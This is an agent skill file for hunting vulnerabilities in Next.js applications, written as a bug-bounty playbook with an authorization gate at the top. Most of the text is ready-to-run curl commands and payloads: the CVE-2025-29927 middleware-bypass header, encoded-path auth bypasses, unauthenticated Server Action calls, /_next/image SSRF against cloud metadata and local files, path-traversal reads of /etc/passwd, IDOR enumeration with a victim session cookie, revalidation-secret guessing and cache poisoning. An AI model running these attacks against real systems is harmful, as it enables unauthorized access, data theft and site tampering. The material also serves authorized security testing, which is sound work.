hunt-nextjs

Imported from sickn33/agentic-awesome-skills (skills/hunt-nextjs/SKILL.md). Install upstream with npx skills add sickn33/agentic-awesome-skills --skill hunt-nextjs. Copyright stays with the author (MIT).

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities

Historical version ranges and exploit snippets require the exact framework/router/runtime/hosting conditions from primary advisories. HTTP 200 or non-404 alone never establishes access bypass, dev mode or a vulnerability; validate content against authenticated/unauthenticated controls and intended policy. Use synthetic identities and records, bounded request budgets and an approved callback receiver. Cache poisoning, revalidation, internal metadata access and mutation require separate exact-action scope. Do not access real victim sessions/data or use discovered credentials.

Crown Jewel Targets

Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.

Highest-value chains:

• Server Actions auth bypass — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
• Middleware bypass via /_next/static/ — middleware skips static asset paths → protected routes accessible via /_next/data/ IDOR
• /_next/image SSRF — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
• ISR stale cache poisoning — inject malicious content into a cached page that gets served to all users
• RSC payload leakage — React Server Component flight data contains server-side props not meant for client

Attack Surface Signals

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

Phase 1 — Fingerprint & Version Detection

# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

Phase 2 — Server Actions Abuse

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r 'createActionURL\|$$ACTION_' recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only

Phase 3 — Middleware Auth Bypass

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# A 200 may be a login page or public shell; inspect authorized content and controls.

# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

Middleware bypass via x-middleware-subrequest (CVE-2025-29927)

Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.

curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
# also: -H "x-middleware-subrequest: src/middleware"  and  "pages/_middleware"
# Confirm protected content/action without authorization; status alone is insufficient. Historical fixes: 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

Phase 4 — Image Optimization SSRF (/_next/image)

# Basic SSRF test — internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"

# Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"

# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain

FALSE-POSITIVE GUARD (read before claiming SSRF): /_next/image only fetches URLs allowed by images.remotePatterns / images.domains in next.config.js. A non-whitelisted url returns 400 by default — that is the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A 200 returns an optimized image, not the upstream response body, so a status code alone NEVER confirms SSRF. Confirm only via an out-of-band callback to a unique Collaborator subdomain (above), or by body-diffing a known-internal vs known-external target. Do not report on status code.

Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0 through < 14.1.1, fixed in 14.1.1) is a Server Actions SSRF — a relative redirect that trusts the Host header — NOT a /_next/image bug, and it does NOT affect Host-routed providers like Vercel. See Phase 2 for the Server Actions surface.

Phase 5 — /_next/data/ IDOR & Data Leakage

# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
  -H "Cookie: session=VICTIM_SESSION"

# Try other users' data
for ID in 1 2 3 100 1000; do
  curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done

# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl -s "https://$TARGET/dashboard" | \
  python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"

Phase 6 — ISR Cache Poisoning

# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users

# Test: does query param affect cached page content?
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
# and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
# 1) Poison with the marker
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
#    Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"

# On-demand revalidation endpoint (if exposed)
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"

Phase 7 — Debug & Stack Frame Endpoints

Precondition: __nextjs_launch-editor and __nextjs_original-stack-frame are react-dev-overlay middleware mounted ONLY under next dev. A production build (next build && next start) does not register these routes — a 404 here is the normal, expected result, not a "filter" you need to bypass. They are reachable ONLY in the rare misconfiguration of literally running next dev in production. Treat a non-404 as a candidate requiring version, content and route verification; a custom fallback can return 200 for every path.

# Inspect candidate response; a non-404 does not by itself prove dev mode
curl -s -o /dev/null -w "%{http_code}" \
  "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"

# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
# reference local files (file-read surface of a dev server wrongly exposed)
curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl -s "https://$TARGET/__nextjs_original-stack-frame" \
  --data '{"file":"/etc/passwd","line":1,"column":1}'

Phase 8 — Environment Variable Leakage

# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
  grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"

# Check for non-public vars accidentally exposed
curl -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
    d = json.loads(m.group(1))
    print(json.dumps(d.get('props', {}), indent=2))
"

Chain Table

Validation

✅ Server Action: action executes without valid session, returns data or mutates state ✅ SSRF: DNS/HTTP callback received from /_next/image SSRF ✅ Middleware bypass: unauthorized protected content/action demonstrated against controls; a 200 alone is insufficient ✅ Data leak: __NEXT_DATA__ contains non-public secrets or other users' PII

Severity:

• Server Action auth bypass → data mutation: High/Critical
• Image SSRF → cloud metadata: Critical
• Middleware bypass → admin panel: High
• Source map exposure only: Low-Medium

When to Use

• You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
• You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

• Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
• Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
• Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.